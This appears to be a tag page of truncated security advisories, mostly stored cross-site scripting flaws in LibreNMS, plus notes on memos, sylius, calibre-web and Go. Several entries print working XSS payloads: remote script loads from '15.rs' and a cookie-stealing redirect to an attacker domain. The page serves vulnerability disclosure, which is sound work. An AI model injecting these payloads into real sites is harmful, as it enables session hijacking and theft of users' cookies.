#xss

### Summary A Stored Cross-Site Scripting (XSS) vulnerability in the "Port Settings" page allows authenticated users to inject arbitrary JavaScript through the "name" parameter when creating a new Port Group. This vulnerability results in the execution of malicious code when the "Port Settings" page is visited after the affected Port Group is added to a device, potentially compromising user sessions and allowing unauthorized actions. ### Details When creating a new "Port Group," an attacker can inject the following XSS payload into the "name" parameter: ```<script/src=//15.rs></script>``` Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code. The payload triggers when the affected Port Group is added to a device and the "Port Settings" page is reloaded. The vulnerability is due to insufficient sanitization of the "name...

### Summary A Stored Cross-Site Scripting (XSS) vulnerability in the "Capture Debug Information" page allows authenticated users to inject arbitrary JavaScript through the "hostname" parameter when creating a new device. This vulnerability results in the execution of malicious code when the "Capture Debug Information" page is visited, redirecting the user and sending non-httponly cookies to an attacker-controlled domain. ### Details When creating a new device, an attacker can inject the following XSS payload into the "hostname" parameter: ``` test'" autofocus onfocus="document.location='https://<attacker_domain>/logger.php?c='+document.cookie" ``` (Note: You may need to URL-encode the '+' sign in the payload.) The payload triggers automatically when visiting the "Capture Debug Information" page for the device, redirecting the user's browser to the attacker-controlled domain along with any non-httponly cookies. The vulnerability is due to insufficient sanitization of the "url" vari...

### Summary A Stored Cross-Site Scripting (XSS) vulnerability in the "Manage User Access" page allows authenticated users to inject arbitrary JavaScript through the "bill_name" parameter when creating a new bill. This vulnerability can lead to the execution of malicious code when visiting the "Bill Access" dropdown in the user's "Manage Access" page, potentially compromising user sessions and allowing unauthorized actions. ### Details When creating a new bill, an attacker can inject the following XSS payload into the "bill_name" parameter: ```test1'"><script/src=//15.rs>``` Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code. The payload triggers in the "Bill Access" dropdown when the user's "Manage Access" page is visited. The sink responsible for this issue is: https://github.com/librenms/librenms/blob/7f2ae971c4a5...

### Summary The application fail to sanitising inputs properly and rendering the code from user input to browser which allow an attacker to execute malicious javascript code. ### Details User with Admin role can add Notes to a device, the application did not properly sanitize the user input, when the ExamplePlugin enable, if java script code is inside the device's Notes, its will be trigger. ### PoC 1. As an admin user, enable the ExamplePlugin.  2. Add the payload `<img src="x" onerror="alert(document.cookie)">` into the device Notes  3. Once visit the Overview of the Device, a pop-up will show up.  ### Impact It could allow authenticated users to execute arbitrary JavaScript code in the context of other users'...

### Summary A Stored Cross-Site Scripting (XSS) vulnerability in the API-Access page allows authenticated users to inject arbitrary JavaScript through the "token" parameter when creating a new API token. This vulnerability can result in the execution of malicious code in the context of other users' sessions, compromising their accounts and enabling unauthorized actions. ### Details The vulnerability occurs when creating a new API Token. An attacker can inject arbitrary JavaScript into the "token" parameter, which is then executed when the API Access page is visited. The payload is triggered twice—once in the "Token Hash" column and once in the "QR Code" column. The payload used to exploit this vulnerability is: `'"><script/src=//15.rs></script>` Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code. The vulnerabilit...

A new report from the Open Software Supply Chain Attack Reference (OSC&R) team provides a framework to reduce how much vulnerable software reaches production.

A stored cross-site scripting (XSS) vulnerability was discovered in usememos/memos version 0.9.1. This vulnerability allows an attacker to upload a JavaScript file containing a malicious script and reference it in an HTML file. When the HTML file is accessed, the malicious script is executed. This can lead to the theft of sensitive information, such as login credentials, from users visiting the affected website. The issue has been fixed in version 0.10.0.

sylius/sylius versions prior to 1.9.10, 1.10.11, and 1.11.2 are vulnerable to stored cross-site scripting (XSS) through SVG files. This vulnerability allows attackers to inject malicious scripts that can be executed in the context of the user's browser.

A Cross-site Scripting (XSS) vulnerability exists in janeczku/calibre-web, specifically in the file `edit_books.js`. The vulnerability occurs when editing book properties, such as uploading a cover or a format. The affected code directly inserts user input into the DOM without proper sanitization, allowing attackers to execute arbitrary JavaScript code. This can lead to various attacks, including stealing cookies. The issue is present in the code handling the `#btn-upload-cover` change event.

Ubuntu Security Notice 7109-1 - Philippe Antoine discovered that Go incorrectly handled crafted HTTP/2 streams. An attacker could possibly use this issue to cause a denial of service. Marten Seemann discovered that Go did not properly manage memory under certain circumstances. An attacker could possibly use this issue to cause a panic resulting in a denial of service. Ameya Darshan and Jakob Ackermann discovered that Go did not properly validate the amount of memory and disk files ReadForm can consume. An attacker could possibly use this issue to cause a panic resulting in a denial of service.